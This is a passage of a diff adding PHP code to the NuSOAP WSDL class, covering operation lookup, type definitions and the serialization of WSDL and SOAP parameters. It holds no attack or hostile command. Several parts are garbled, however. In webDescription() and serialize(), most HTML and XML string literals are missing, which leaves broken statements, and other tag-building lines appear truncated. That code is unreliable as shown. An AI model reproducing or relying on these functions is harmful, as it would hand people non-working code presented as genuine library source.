parameter + if ($portData['bindingType'] == $bindingType) { + $this->debug("getOperations found port $port bindingType $bindingType"); + //$this->debug("port data: " . $this->varDump($portData)); + //$this->debug("bindings: " . $this->varDump($this->bindings[ $portData['binding'] ])); + // merge bindings + if (isset($this->bindings[ $portData['binding'] ]['operations'])) { + $ops = array_merge ($ops, $this->bindings[ $portData['binding'] ]['operations']); + } + } + } + } + if (count($ops) == 0) { + $this->debug("getOperations found no operations for port '$portName' bindingType $bindingType"); + } + return $ops; + } + + /** + * returns an associative array of data necessary for calling an operation + * + * @param string $operation name of operation + * @param string $bindingType type of binding eg: soap, soap12 + * @return array + * @access public + */ + function getOperationData($operation, $bindingType = 'soap') + { + if ($bindingType == 'soap') { + $bindingType = 'http://schemas.xmlsoap.org/wsdl/soap/'; + } elseif ($bindingType == 'soap12') { + $bindingType = 'http://schemas.xmlsoap.org/wsdl/soap12/'; + } + // loop thru ports + foreach($this->ports as $port => $portData) { + // binding type of port matches parameter + if ($portData['bindingType'] == $bindingType) { + // get binding + //foreach($this->bindings[ $portData['binding'] ]['operations'] as $bOperation => $opData) { + foreach(array_keys($this->bindings[ $portData['binding'] ]['operations']) as $bOperation) { + // note that we could/should also check the namespace here + if ($operation == $bOperation) { + $opData = $this->bindings[ $portData['binding'] ]['operations'][$operation]; + return $opData; + } + } + } + } + } + + /** + * returns an associative array of data necessary for calling an operation + * + * @param string $soapAction soapAction for operation + * @param string $bindingType type of binding eg: soap, soap12 + * @return array + * @access public + */ + function getOperationDataForSoapAction($soapAction, $bindingType = 'soap') { + if ($bindingType == 'soap') { + $bindingType = 'http://schemas.xmlsoap.org/wsdl/soap/'; + } elseif ($bindingType == 'soap12') { + $bindingType = 'http://schemas.xmlsoap.org/wsdl/soap12/'; + } + // loop thru ports + foreach($this->ports as $port => $portData) { + // binding type of port matches parameter + if ($portData['bindingType'] == $bindingType) { + // loop through operations for the binding + foreach ($this->bindings[ $portData['binding'] ]['operations'] as $bOperation => $opData) { + if ($opData['soapAction'] == $soapAction) { + return $opData; + } + } + } + } + } + + /** + * returns an array of information about a given type + * returns false if no type exists by the given name + * + * typeDef = array( + * 'elements' => array(), // refs to elements array + * 'restrictionBase' => '', + * 'phpType' => '', + * 'order' => '(sequence|all)', + * 'attrs' => array() // refs to attributes array + * ) + * + * @param string $type the type + * @param string $ns namespace (not prefix) of the type + * @return mixed + * @access public + * @see nusoap_xmlschema + */ + function getTypeDef($type, $ns) { + $this->debug("in getTypeDef: type=$type, ns=$ns"); + if ((! $ns) && isset($this->namespaces['tns'])) { + $ns = $this->namespaces['tns']; + $this->debug("in getTypeDef: type namespace forced to $ns"); + } + if (!isset($this->schemas[$ns])) { + foreach ($this->schemas as $ns0 => $schema0) { + if (strcasecmp($ns, $ns0) == 0) { + $this->debug("in getTypeDef: replacing schema namespace $ns with $ns0"); + $ns = $ns0; + break; + } + } + } + if (isset($this->schemas[$ns])) { + $this->debug("in getTypeDef: have schema for namespace $ns"); + for ($i = 0; $i < count($this->schemas[$ns]); $i++) { + $xs = &$this->schemas[$ns][$i]; + $t = $xs->getTypeDef($type); + $this->appendDebug($xs->getDebug()); + $xs->clearDebug(); + if ($t) { + $this->debug("in getTypeDef: found type $type"); + if (!isset($t['phpType'])) { + // get info for type to tack onto the element + $uqType = substr($t['type'], strrpos($t['type'], ':') + 1); + $ns = substr($t['type'], 0, strrpos($t['type'], ':')); + $etype = $this->getTypeDef($uqType, $ns); + if ($etype) { + $this->debug("found type for [element] $type:"); + $this->debug($this->varDump($etype)); + if (isset($etype['phpType'])) { + $t['phpType'] = $etype['phpType']; + } + if (isset($etype['elements'])) { + $t['elements'] = $etype['elements']; + } + if (isset($etype['attrs'])) { + $t['attrs'] = $etype['attrs']; + } + } else { + $this->debug("did not find type for [element] $type"); + } + } + return $t; + } + } + $this->debug("in getTypeDef: did not find type $type"); + } else { + $this->debug("in getTypeDef: do not have schema for namespace $ns"); + } + return false; + } + + /** + * prints html description of services + * + * @access private + */ + function webDescription(){ + global $HTTP_SERVER_VARS; + + if (isset($_SERVER)) { + $PHP_SELF = $_SERVER['PHP_SELF']; + } elseif (isset($HTTP_SERVER_VARS)) { + $PHP_SELF = $HTTP_SERVER_VARS['PHP_SELF']; + } else { + $this->setError("Neither _SERVER nor HTTP_SERVER_VARS is available"); + } + + $b = ' + NuSOAP: '.$this->serviceName.' + + + + +
        +

        +
        '.$this->serviceName.'
        + +
        '; + return $b; + } + + /** + * serialize the parsed wsdl + * + * @param mixed $debug whether to put debug=1 in endpoint URL + * @return string serialization of WSDL + * @access public + */ + function serialize($debug = 0) + { + $xml = ''; + $xml .= "\nnamespaces as $k => $v) { + $xml .= " xmlns:$k=\"$v\""; + } + // 10.9.02 - add poulter fix for wsdl and tns declarations + if (isset($this->namespaces['wsdl'])) { + $xml .= " xmlns=\"" . $this->namespaces['wsdl'] . "\""; + } + if (isset($this->namespaces['tns'])) { + $xml .= " targetNamespace=\"" . $this->namespaces['tns'] . "\""; + } + $xml .= '>'; + // imports + if (sizeof($this->import) > 0) { + foreach($this->import as $ns => $list) { + foreach ($list as $ii) { + if ($ii['location'] != '') { + $xml .= ''; + } else { + $xml .= ''; + } + } + } + } + // types + if (count($this->schemas)>=1) { + $xml .= "\n\n"; + foreach ($this->schemas as $ns => $list) { + foreach ($list as $xs) { + $xml .= $xs->serializeSchema(); + } + } + $xml .= ''; + } + // messages + if (count($this->messages) >= 1) { + foreach($this->messages as $msgName => $msgParts) { + $xml .= "\n'; + if(is_array($msgParts)){ + foreach($msgParts as $partName => $partType) { + // print 'serializing '.$partType.', sv: '.$this->XMLSchemaVersion.'
        '; + if (strpos($partType, ':')) { + $typePrefix = $this->getPrefixFromNamespace($this->getPrefix($partType)); + } elseif (isset($this->typemap[$this->namespaces['xsd']][$partType])) { + // print 'checking typemap: '.$this->XMLSchemaVersion.'
        '; + $typePrefix = 'xsd'; + } else { + foreach($this->typemap as $ns => $types) { + if (isset($types[$partType])) { + $typePrefix = $this->getPrefixFromNamespace($ns); + } + } + if (!isset($typePrefix)) { + die("$partType has no namespace!"); + } + } + $ns = $this->getNamespaceFromPrefix($typePrefix); + $localPart = $this->getLocalPart($partType); + $typeDef = $this->getTypeDef($localPart, $ns); + if ($typeDef['typeClass'] == 'element') { + $elementortype = 'element'; + if (substr($localPart, -1) == '^') { + $localPart = substr($localPart, 0, -1); + } + } else { + $elementortype = 'type'; + } + $xml .= "\n" . ' '; + } + } + $xml .= '
        '; + } + } + // bindings & porttypes + if (count($this->bindings) >= 1) { + $binding_xml = ''; + $portType_xml = ''; + foreach($this->bindings as $bindingName => $attrs) { + $binding_xml .= "\n'; + $binding_xml .= "\n" . ' '; + $portType_xml .= "\n'; + foreach($attrs['operations'] as $opName => $opParts) { + $binding_xml .= "\n" . ' '; + $binding_xml .= "\n" . ' '; + if (isset($opParts['input']['encodingStyle']) && $opParts['input']['encodingStyle'] != '') { + $enc_style = ' encodingStyle="' . $opParts['input']['encodingStyle'] . '"'; + } else { + $enc_style = ''; + } + $binding_xml .= "\n" . ' '; + if (isset($opParts['output']['encodingStyle']) && $opParts['output']['encodingStyle'] != '') { + $enc_style = ' encodingStyle="' . $opParts['output']['encodingStyle'] . '"'; + } else { + $enc_style = ''; + } + $binding_xml .= "\n" . ' '; + $binding_xml .= "\n" . ' '; + $portType_xml .= "\n" . ' ' . htmlspecialchars($opParts['documentation']) . ''; + } + $portType_xml .= "\n" . ' '; + $portType_xml .= "\n" . ' '; + $portType_xml .= "\n" . ' '; + } + $portType_xml .= "\n" . ''; + $binding_xml .= "\n" . ''; + } + $xml .= $portType_xml . $binding_xml; + } + // services + $xml .= "\nserviceName . '">'; + if (count($this->ports) >= 1) { + foreach($this->ports as $pName => $attrs) { + $xml .= "\n" . ' '; + $xml .= "\n" . ' '; + $xml .= "\n" . ' '; + } + } + $xml .= "\n" . ''; + return $xml . "\n"; + } + + /** + * determine whether a set of parameters are unwrapped + * when they are expect to be wrapped, Microsoft-style. + * + * @param string $type the type (element name) of the wrapper + * @param array $parameters the parameter values for the SOAP call + * @return boolean whether they parameters are unwrapped (and should be wrapped) + * @access private + */ + function parametersMatchWrapped($type, &$parameters) { + $this->debug("in parametersMatchWrapped type=$type, parameters="); + $this->appendDebug($this->varDump($parameters)); + + // split type into namespace:unqualified-type + if (strpos($type, ':')) { + $uqType = substr($type, strrpos($type, ':') + 1); + $ns = substr($type, 0, strrpos($type, ':')); + $this->debug("in parametersMatchWrapped: got a prefixed type: $uqType, $ns"); + if ($this->getNamespaceFromPrefix($ns)) { + $ns = $this->getNamespaceFromPrefix($ns); + $this->debug("in parametersMatchWrapped: expanded prefixed type: $uqType, $ns"); + } + } else { + // TODO: should the type be compared to types in XSD, and the namespace + // set to XSD if the type matches? + $this->debug("in parametersMatchWrapped: No namespace for type $type"); + $ns = ''; + $uqType = $type; + } + + // get the type information + if (!$typeDef = $this->getTypeDef($uqType, $ns)) { + $this->debug("in parametersMatchWrapped: $type ($uqType) is not a supported type."); + return false; + } + $this->debug("in parametersMatchWrapped: found typeDef="); + $this->appendDebug($this->varDump($typeDef)); + if (substr($uqType, -1) == '^') { + $uqType = substr($uqType, 0, -1); + } + $phpType = $typeDef['phpType']; + $arrayType = (isset($typeDef['arrayType']) ? $typeDef['arrayType'] : ''); + $this->debug("in parametersMatchWrapped: uqType: $uqType, ns: $ns, phptype: $phpType, arrayType: $arrayType"); + + // we expect a complexType or element of complexType + if ($phpType != 'struct') { + $this->debug("in parametersMatchWrapped: not a struct"); + return false; + } + + // see whether the parameter names match the elements + if (isset($typeDef['elements']) && is_array($typeDef['elements'])) { + $elements = 0; + $matches = 0; + foreach ($typeDef['elements'] as $name => $attrs) { + if (isset($parameters[$name])) { + $this->debug("in parametersMatchWrapped: have parameter named $name"); + $matches++; + } else { + $this->debug("in parametersMatchWrapped: do not have parameter named $name"); + } + $elements++; + } + + $this->debug("in parametersMatchWrapped: $matches parameter names match $elements wrapped parameter names"); + if ($matches == 0) { + return false; + } + return true; + } + + // since there are no elements for the type, if the user passed no + // parameters, the parameters match wrapped. + $this->debug("in parametersMatchWrapped: no elements type $ns:$uqType"); + return count($parameters) == 0; + } + + /** + * serialize PHP values according to a WSDL message definition + * contrary to the method name, this is not limited to RPC + * + * TODO + * - multi-ref serialization + * - validate PHP values against type definitions, return errors if invalid + * + * @param string $operation operation name + * @param string $direction (input|output) + * @param mixed $parameters parameter value(s) + * @param string $bindingType (soap|soap12) + * @return mixed parameters serialized as XML or false on error (e.g. operation not found) + * @access public + */ + function serializeRPCParameters($operation, $direction, $parameters, $bindingType = 'soap') { + $this->debug("in serializeRPCParameters: operation=$operation, direction=$direction, XMLSchemaVersion=$this->XMLSchemaVersion, bindingType=$bindingType"); + $this->appendDebug('parameters=' . $this->varDump($parameters)); + + if ($direction != 'input' && $direction != 'output') { + $this->debug('The value of the \$direction argument needs to be either "input" or "output"'); + $this->setError('The value of the \$direction argument needs to be either "input" or "output"'); + return false; + } + if (!$opData = $this->getOperationData($operation, $bindingType)) { + $this->debug('Unable to retrieve WSDL data for operation: ' . $operation . ' bindingType: ' . $bindingType); + $this->setError('Unable to retrieve WSDL data for operation: ' . $operation . ' bindingType: ' . $bindingType); + return false; + } + $this->debug('in serializeRPCParameters: opData:'); + $this->appendDebug($this->varDump($opData)); + + // Get encoding style for output and set to current + $encodingStyle = 'http://schemas.xmlsoap.org/soap/encoding/'; + if(($direction == 'input') && isset($opData['output']['encodingStyle']) && ($opData['output']['encodingStyle'] != $encodingStyle)) { + $encodingStyle = $opData['output']['encodingStyle']; + $enc_style = $encodingStyle; + } + + // set input params + $xml = ''; + if (isset($opData[$direction]['parts']) && sizeof($opData[$direction]['parts']) > 0) { + $parts = &$opData[$direction]['parts']; + $part_count = sizeof($parts); + $style = $opData['style']; + $use = $opData[$direction]['use']; + $this->debug("have $part_count part(s) to serialize using $style/$use"); + if (is_array($parameters)) { + $parametersArrayType = $this->isArraySimpleOrStruct($parameters); + $parameter_count = count($parameters); + $this->debug("have $parameter_count parameter(s) provided as $parametersArrayType to serialize"); + // check for Microsoft-style wrapped parameters + if ($style == 'document' && $use == 'literal' && $part_count == 1 && isset($parts['parameters'])) { + $this->debug('check whether the caller has wrapped the parameters'); + if ($direction == 'output' && $parametersArrayType == 'arraySimple' && $parameter_count == 1) { + // TODO: consider checking here for double-wrapping, when + // service function wraps, then NuSOAP wraps again + $this->debug("change simple array to associative with 'parameters' element"); + $parameters['parameters'] = $parameters[0]; + unset($parameters[0]); + } + if (($parametersArrayType == 'arrayStruct' || $parameter_count == 0) && !isset($parameters['parameters'])) { + $this->debug('check whether caller\'s parameters match the wrapped ones'); + if ($this->parametersMatchWrapped($parts['parameters'], $parameters)) { + $this->debug('wrap the parameters for the caller'); + $parameters = array('parameters' => $parameters); + $parameter_count = 1; + } + } + } + foreach ($parts as $name => $type) { + $this->debug("serializing part $name of type $type"); + // Track encoding style + if (isset($opData[$direction]['encodingStyle']) && $encodingStyle != $opData[$direction]['encodingStyle']) { + $encodingStyle = $opData[$direction]['encodingStyle']; + $enc_style = $encodingStyle; + } else { + $enc_style = false; + } + // NOTE: add error handling here + // if serializeType returns false, then catch global error and fault + if ($parametersArrayType == 'arraySimple') { + $p = array_shift($parameters); + $this->debug('calling serializeType w/indexed param'); + $xml .= $this->serializeType($name, $type, $p, $use, $enc_style); + } elseif (isset($parameters[$name])) { + $this->debug('calling serializeType w/named param'); + $xml .= $this->serializeType($name, $type, $parameters[$name], $use, $enc_style); + } else { + // TODO: only send nillable + $this->debug('calling serializeType w/null param'); + $xml .= $this->serializeType($name, $type, null, $use, $enc_style); + } + } + } else { + $this->debug('no parameters passed.'); + } + } + $this->debug("serializeRPCParameters returning: $xml"); + return $xml; + } + + /** + * serialize a PHP value according to a WSDL message definition + * + * TODO + * - multi-ref serialization + * - validate PHP values against type definitions, return errors if invalid + * + * @param string $operation operation name + * @param string $direction (input|output) + * @param mixed $parameters parameter value(s) + * @return mixed parameters serialized as XML or false on error (e.g. operation not found) + * @access public + * @deprecated + */ + function serializeParameters($operation, $direction, $parameters) + { + $this->debug("in serializeParameters: operation=$operation, direction=$direction, XMLSchemaVersion=$this->XMLSchemaVersion"); + $this->appendDebug('parameters=' . $this->varDump($parameters)); + + if ($direction != 'input' && $direction != 'output') { + $this->debug('The value of the \$direction argument needs to be either "input" or "output"'); + $this->setError('The value of the \$direction argument needs to be either "input" or "output"'); + return false; + } + if (!$opData = $this->getOperationData($operation)) { + $this->debug('Unable to retrieve WSDL data for operation: ' . $operation); + $this->setError('Unable to retrieve WSDL data for operation: ' . $operation); + return false; + } + $this->debug('opData:'); + $this->appendDebug($this->varDump($opData)); + + // Get encoding style for output and set to current + $encodingStyle = 'http://schemas.xmlsoap.org/soap/encoding/'; + if(($direction == 'input') && isset($opData['output']['encodingStyle']) && ($opData['output']['encodingStyle'] != $encodingStyle)) { + $encodingStyle = $opData['output']['encodingStyle']; + $enc_style = $encodingStyle; + } + + // set input params + $xml = ''; + if (isset($opData[$direction]['parts']) && sizeof($opData[$direction]['parts']) > 0) { + + $use = $opData[$direction]['use']; + $this->debug("use=$use"); + $this->debug('got ' . count($opData[$direction]['parts']) . ' part(s)'); + if (is_array($parameters)) { + $parametersArrayType = $this->isArraySimpleOrStruct($parameters); + $this->debug('have ' . $parametersArrayType . ' parameters'); + foreach($opData[$direction]['parts'] as $name => $type) { + $this->debug('serializing part "'.$name.'" of type "'.$type.'"'); + // Track encoding style + if(isset($opData[$direction]['encodingStyle']) && $encodingStyle != $opData[$direction]['encodingStyle']) { + $encodingStyle = $opData[$direction]['encodingStyle']; + $enc_style = $encodingStyle; + } else { + $enc_style = false; + } + // NOTE: add error handling here + // if serializeType returns false, then catch global error and fault + if ($parametersArrayType == 'arraySimple') { + $p = array_shift($parameters); + $this->debug('calling serializeType w/indexed param'); + $xml .= $this->serializeType($name, $type, $p, $use, $enc_style); + } elseif (isset($parameters[$name])) { + $this->debug('calling serializeType w/named param'); + $xml .= $this->serializeType($name, $type, $parameters[$name], $use, $enc_style); + } else { + // TODO: only send nillable + $this->debug('calling serializeType w/null param'); + $xml .= $this->serializeType($name, $type, null, $use, $enc_style); + } + } + } else { + $this->debug('no parameters passed.'); + } + } + $this->debug("serializeParameters returning: $xml"); + return $xml; + } + + /** + * serializes a PHP value according a given type definition + * + * @param string $name name of value (part or element) + * @param string $type XML schema type of value (type or element) + * @param mixed $value a native PHP value (parameter value) + * @param string $use use for part (encoded|literal) + * @param string $encodingStyle SOAP encoding style for the value (if different than the enclosing style) + * @param boolean $unqualified a kludge for what should be XML namespace form handling + * @return string value serialized as an XML string + * @access private + */ + function serializeType($name, $type, $value, $use='encoded', $encodingStyle=false, $unqualified=false) + { + $this->debug("in serializeType: name=$name, type=$type, use=$use, encodingStyle=$encodingStyle, unqualified=" . ($unqualified ? "unqualified" : "qualified")); + $this->appendDebug("value=" . $this->varDump($value)); + if($use == 'encoded' && $encodingStyle) { + $encodingStyle = ' SOAP-ENV:encodingStyle="' . $encodingStyle . '"'; + } + + // if a soapval has been supplied, let its type override the WSDL + if (is_object($value) && get_class($value) == 'soapval') { + if ($value->type_ns) { + $type = $value->type_ns . ':' . $value->type; + $forceType = true; + $this->debug("in serializeType: soapval overrides type to $type"); + } elseif ($value->type) { + $type = $value->type; + $forceType = true; + $this->debug("in serializeType: soapval overrides type to $type"); + } else { + $forceType = false; + $this->debug("in serializeType: soapval does not override type"); + } + $attrs = $value->attributes; + $value = $value->value; + $this->debug("in serializeType: soapval overrides value to $value"); + if ($attrs) { + if (!is_array($value)) { + $value['!'] = $value; + } + foreach ($attrs as $n => $v) { + $value['!' . $n] = $v; + } + $this->debug("in serializeType: soapval provides attributes"); + } + } else { + $forceType = false; + } + + $xml = ''; + if (strpos($type, ':')) { + $uqType = substr($type, strrpos($type, ':') + 1); + $ns = substr($type, 0, strrpos($type, ':')); + $this->debug("in serializeType: got a prefixed type: $uqType, $ns"); + if ($this->getNamespaceFromPrefix($ns)) { + $ns = $this->getNamespaceFromPrefix($ns); + $this->debug("in serializeType: expanded prefixed type: $uqType, $ns"); + } + + if($ns == $this->XMLSchemaVersion || $ns == 'http://schemas.xmlsoap.org/soap/encoding/'){ + $this->debug('in serializeType: type namespace indicates XML Schema or SOAP Encoding type'); + if ($unqualified && $use == 'literal') { + $elementNS = " xmlns=\"\""; + } else { + $elementNS = ''; + } + if (is_null($value)) { + if ($use == 'literal') { + // TODO: depends on minOccurs + $xml = "<$name$elementNS/>"; + } else { + // TODO: depends on nillable, which should be checked before calling this method + $xml = "<$name$elementNS xsi:nil=\"true\" xsi:type=\"" . $this->getPrefixFromNamespace($ns) . ":$uqType\"/>"; + } + $this->debug("in serializeType: returning: $xml"); + return $xml; + } + if ($uqType == 'Array') { + // JBoss/Axis does this sometimes + return $this->serialize_val($value, $name, false, false, false, false, $use); + } + if ($uqType == 'boolean') { + if ((is_string($value) && $value == 'false') || (! $value)) { + $value = 'false'; + } else { + $value = 'true'; + } + } + if ($uqType == 'string' && gettype($value) == 'string') { + $value = $this->expandEntities($value); + } + if (($uqType == 'long' || $uqType == 'unsignedLong') && gettype($value) == 'double') { + $value = sprintf("%.0lf", $value); + } + // it's a scalar + // TODO: what about null/nil values? + // check type isn't a custom type extending xmlschema namespace + if (!$this->getTypeDef($uqType, $ns)) { + if ($use == 'literal') { + if ($forceType) { + $xml = "<$name$elementNS xsi:type=\"" . $this->getPrefixFromNamespace($ns) . ":$uqType\">$value"; + } else { + $xml = "<$name$elementNS>$value"; + } + } else { + $xml = "<$name$elementNS xsi:type=\"" . $this->getPrefixFromNamespace($ns) . ":$uqType\"$encodingStyle>$value"; + } + $this->debug("in serializeType: returning: $xml"); + return $xml; + } + $this->debug('custom type extends XML Schema or SOAP Encoding namespace (yuck)'); + } else if ($ns == 'http://xml.apache.org/xml-soap') { + $this->debug('in serializeType: appears to be Apache SOAP type'); + if ($uqType == 'Map') { + $tt_prefix = $this->getPrefixFromNamespace('http://xml.apache.org/xml-soap'); + if (! $tt_prefix) { + $this->debug('in serializeType: Add namespace for Apache SOAP type'); + $tt_prefix = 'ns' . rand(1000, 9999); + $this->namespaces[$tt_prefix] = 'http://xml.apache.org/xml-soap'; + // force this to be added to usedNamespaces + $tt_prefix = $this->getPrefixFromNamespace('http://xml.apache.org/xml-soap'); + } + $contents = ''; + foreach($value as $k => $v) { + $this->debug("serializing map element: key $k, value $v"); + $contents .= ''; + $contents .= $this->serialize_val($k,'key',false,false,false,false,$use); + $contents .= $this->serialize_val($v,'value',false,false,false,false,$use); + $contents .= ''; + } + if ($use == 'literal') { + if ($forceType) { + $xml = "<$name xsi:type=\"" . $tt_prefix . ":$uqType\">$contents"; + } else { + $xml = "<$name>$contents"; + } + } else { + $xml = "<$name xsi:type=\"" . $tt_prefix . ":$uqType\"$encodingStyle>$contents"; + } + $this->debug("in serializeType: returning: $xml"); + return $xml; + } + $this->debug('in serializeType: Apache SOAP type, but only support Map'); + } + } else { + // TODO: should the type be compared to types in XSD, and the namespace + // set to XSD if the type matches? + $this->debug("in serializeType: No namespace for type $type"); + $ns = ''; + $uqType = $type; + } + if(!$typeDef = $this->getTypeDef($uqType, $ns)){ + $this->setError("$type ($uqType) is not a supported type."); + $this->debug("in serializeType: $type ($uqType) is not a supported type."); + return false; + } else { + $this->debug("in serializeType: found typeDef"); + $this->appendDebug('typeDef=' . $this->varDump($typeDef)); + if (substr($uqType, -1) == '^') { + $uqType = substr($uqType, 0, -1); + } + } + if (!isset($typeDef['phpType'])) { + $this->setError("$type ($uqType) has no phpType."); + $this->debug("in serializeType: $type ($uqType) has no phpType."); + return false; + } + $phpType = $typeDef['phpType']; + $this->debug("in serializeType: uqType: $uqType, ns: $ns, phptype: $phpType, arrayType: " . (isset($typeDef['arrayType']) ? $typeDef['arrayType'] : '') ); + // if php type == struct, map value to the element names + if ($phpType == 'struct') { + if (isset($typeDef['typeClass']) && $typeDef['typeClass'] == 'element') { + $elementName = $uqType; + if (isset($typeDef['form']) && ($typeDef['form'] == 'qualified')) { + $elementNS = " xmlns=\"$ns\""; + } else { + $elementNS = " xmlns=\"\""; + } + } else { + $elementName = $name; + if ($unqualified) { + $elementNS = " xmlns=\"\""; + } else { + $elementNS = ''; + } + } + if (is_null($value)) { + if ($use == 'literal') { + // TODO: depends on minOccurs and nillable + $xml = "<$elementName$elementNS/>"; + } else { + $xml = "<$elementName$elementNS xsi:nil=\"true\" xsi:type=\"" . $this->getPrefixFromNamespace($ns) . ":$uqType\"/>"; + } + $this->debug("in serializeType: returning: $xml"); + return $xml; + } + if (is_object($value)) { + $value = get_object_vars($value); + } + if (is_array($value)) { + $elementAttrs = $this->serializeComplexTypeAttributes($typeDef, $value, $ns, $uqType); + if ($use == 'literal') { + if ($forceType) { + $xml = "<$elementName$elementNS$elementAttrs xsi:type=\"" . $this->getPrefixFromNamespace($ns) . ":$uqType\">"; + } else { + $xml = "<$elementName$elementNS$elementAttrs>"; + } + } else { + $xml = "<$elementName$elementNS$elementAttrs xsi:type=\"" . $this->getPrefixFromNamespace($ns) . ":$uqType\"$encodingStyle>"; + } + + if (isset($typeDef['simpleContent']) && $typeDef['simpleContent'] == 'true') { + if (isset($value['!'])) { + $xml .= $value['!']; + $this->debug("in serializeType: serialized simpleContent for type $type"); + } else { + $this->debug("in serializeType: no simpleContent to serialize for type $type"); + } + } else { + // complexContent + $xml .= $this->serializeComplexTypeElements($typeDef, $value, $ns, $uqType, $use, $encodingStyle); + } + $xml .= ""; + } else { + $this->debug("in serializeType: phpType is struct, but value is not an array"); + $this->setError("phpType is struct, but value is not an array: see debug output for details"); + $xml = ''; + } + } elseif ($phpType == 'array') { + if (isset($typeDef['form']) && ($typeDef['form'] == 'qualified')) { + $elementNS = " xmlns=\"$ns\""; + } else { + if ($unqualified) { + $elementNS = " xmlns=\"\""; + } else { + $elementNS = ''; + } + } + if (is_null($value)) { + if ($use == 'literal') { + // TODO: depends on minOccurs + $xml = "<$name$elementNS/>"; + } else { + $xml = "<$name$elementNS xsi:nil=\"true\" xsi:type=\"" . + $this->getPrefixFromNamespace('http://schemas.xmlsoap.org/soap/encoding/') . + ":Array\" " . + $this->getPrefixFromNamespace('http://schemas.xmlsoap.org/soap/encoding/') . + ':arrayType="' . + $this->getPrefixFromNamespace($this->getPrefix($typeDef['arrayType'])) . + ':' . + $this->getLocalPart($typeDef['arrayType'])."[0]\"/>"; + } + $this->debug("in serializeType: returning: $xml"); + return $xml; + } + if (isset($typeDef['multidimensional'])) { + $nv = array(); + foreach($value as $v) { + $cols = ',' . sizeof($v); + $nv = array_merge($nv, $v); + } + $value = $nv; + } else { + $cols = ''; + } + if (is_array($value) && sizeof($value) >= 1) { + $rows = sizeof($value); + $contents = ''; + foreach($value as $k => $v) { + $this->debug("serializing array element: $k, $v of type: $typeDef[arrayType]"); + //if (strpos($typeDef['arrayType'], ':') ) { + if (!in_array($typeDef['arrayType'],$this->typemap['http://www.w3.org/2001/XMLSchema'])) { + $contents .= $this->serializeType('item', $typeDef['arrayType'], $v, $use); + } else { + $contents .= $this->serialize_val($v, 'item', $typeDef['arrayType'], null, $this->XMLSchemaVersion, false, $use); + } + } + } else { + $rows = 0; + $contents = null; + } + // TODO: for now, an empty value will be serialized as a zero element + // array. Revisit this when coding the handling of null/nil values. + if ($use == 'literal') { + $xml = "<$name$elementNS>" + .$contents + .""; + } else { + $xml = "<$name$elementNS xsi:type=\"".$this->getPrefixFromNamespace('http://schemas.xmlsoap.org/soap/encoding/').':Array" '. + $this->getPrefixFromNamespace('http://schemas.xmlsoap.org/soap/encoding/') + .':arrayType="' + .$this->getPrefixFromNamespace($this->getPrefix($typeDef['arrayType'])) + .":".$this->getLocalPart($typeDef['arrayType'])."[$rows$cols]\">" + .$contents + .""; + } + } elseif ($phpType == 'scalar') { + if (isset($typeDef['form']) && ($typeDef['form'] == 'qualified')) { + $elementNS = " xmlns=\"$ns\""; + } else { + if ($unqualified) { + $elementNS = " xmlns=\"\""; + } else { + $elementNS = ''; + } + } + if ($use == 'literal') { + if ($forceType) { + $xml = "<$name$elementNS xsi:type=\"" . $this->getPrefixFromNamespace($ns) . ":$uqType\">$value"; + } else { + $xml = "<$name$elementNS>$value"; + } + } else { + $xml = "<$name$elementNS xsi:type=\"" . $this->getPrefixFromNamespace($ns) . ":$uqType\"$encodingStyle>$value"; + } + } + $this->debug("in serializeType: returning: $xml"); + return $xml; + } + + /** + * serializes the attributes for a complexType + * + * @param array $typeDef our internal representation of an XML schema type (or element) + * @param mixed $value a native PHP value (parameter value) + * @param string $ns the namespace of the type + * @param string $uqType the local part of the type + * @return string value serialized as an XML string + * @access private + */ + function serializeComplexTypeAttributes($typeDef, $value, $ns, $uqType) { + $this->debug("serializeComplexTypeAttributes for XML Schema type $ns:$uqType"); + $xml = ''; + if (isset($typeDef['extensionBase'])) { + $nsx = $this->getPrefix($typeDef['extensionBase']); + $uqTypex = $this->getLocalPart($typeDef['extensionBase']); + if ($this->getNamespaceFromPrefix($nsx)) { + $nsx = $this->getNamespaceFromPrefix($nsx); + } + if ($typeDefx = $this->getTypeDef($uqTypex, $nsx)) { + $this->debug("serialize attributes for extension base $nsx:$uqTypex"); + $xml .= $this->serializeComplexTypeAttributes($typeDefx, $value, $nsx, $uqTypex); + } else { + $this->debug("extension base $nsx:$uqTypex is not a supported type"); + } + } + if (isset($typeDef['attrs']) && is_array($typeDef['attrs'])) { + $this->debug("serialize attributes for XML Schema type $ns:$uqType"); + if (is_array($value)) { + $xvalue = $value; + } elseif (is_object($value)) { + $xvalue = get_object_vars($value); + } else { + $this->debug("value is neither an array nor an object for XML Schema type $ns:$uqType"); + $xvalue = array(); + } + foreach ($typeDef['attrs'] as $aName => $attrs) { + if (isset($xvalue['!' . $aName])) { + $xname = '!' . $aName; + $this->debug("value provided for attribute $aName with key $xname"); + } elseif (isset($xvalue[$aName])) { + $xname = $aName; + $this->debug("value provided for attribute $aName with key $xname"); + } elseif (isset($attrs['default'])) { + $xname = '!' . $aName; + $xvalue[$xname] = $attrs['default']; + $this->debug('use default value of ' . $xvalue[$aName] . ' for attribute ' . $aName); + } else { + $xname = ''; + $this->debug("no value provided for attribute $aName"); + } + if ($xname) { + $xml .= " $aName=\"" . $this->expandEntities($xvalue[$xname]) . "\""; + } + } + } else { + $this->debug("no attributes to serialize for XML Schema type $ns:$uqType"); + } + return $xml; + } + + /** + * serializes the elements for a complexType + * + * @param array $typeDef our internal representation of an XML schema type (or element) + * @param mixed $value a native PHP value (parameter value) + * @param string $ns the namespace of the type + * @param string $uqType the local part of the type + * @param string $use use for part (encoded|literal) + * @param string $encodingStyle SOAP encoding style for the value (if different than the enclosing style) + * @return string value serialized as an XML string + * @access private + */ + function serializeComplexTypeElements($typeDef, $value, $ns, $uqType, $use='encoded', $encodingStyle=false) { + $this->debug("in serializeComplexTypeElements for XML Schema type $ns:$uqType"); + $xml = ''; + if (isset($typeDef['extensionBase'])) { + $nsx = $this->getPrefix($typeDef['extensionBase']); + $uqTypex = $this->getLocalPart($typeDef['extensionBase']); + if ($this->getNamespaceFromPrefix($nsx)) { + $nsx = $this->getNamespaceFromPrefix($nsx); + } + if ($typeDefx = $this->getTypeDef($uqTypex, $nsx)) { + $this->debug("serialize elements for extension base $nsx:$uqTypex"); + $xml .= $this->serializeComplexTypeElements($typeDefx, $value, $nsx, $uqTypex, $use, $encodingStyle); + } else { + $this->debug("extension base $nsx:$uqTypex is not a supported type"); + } + } + if (isset($typeDef['elements']) && is_array($typeDef['elements'])) { + $this->debug("in serializeComplexTypeElements, serialize elements for XML Schema type $ns:$uqType"); + if (is_array($value)) { + $xvalue = $value; + } elseif 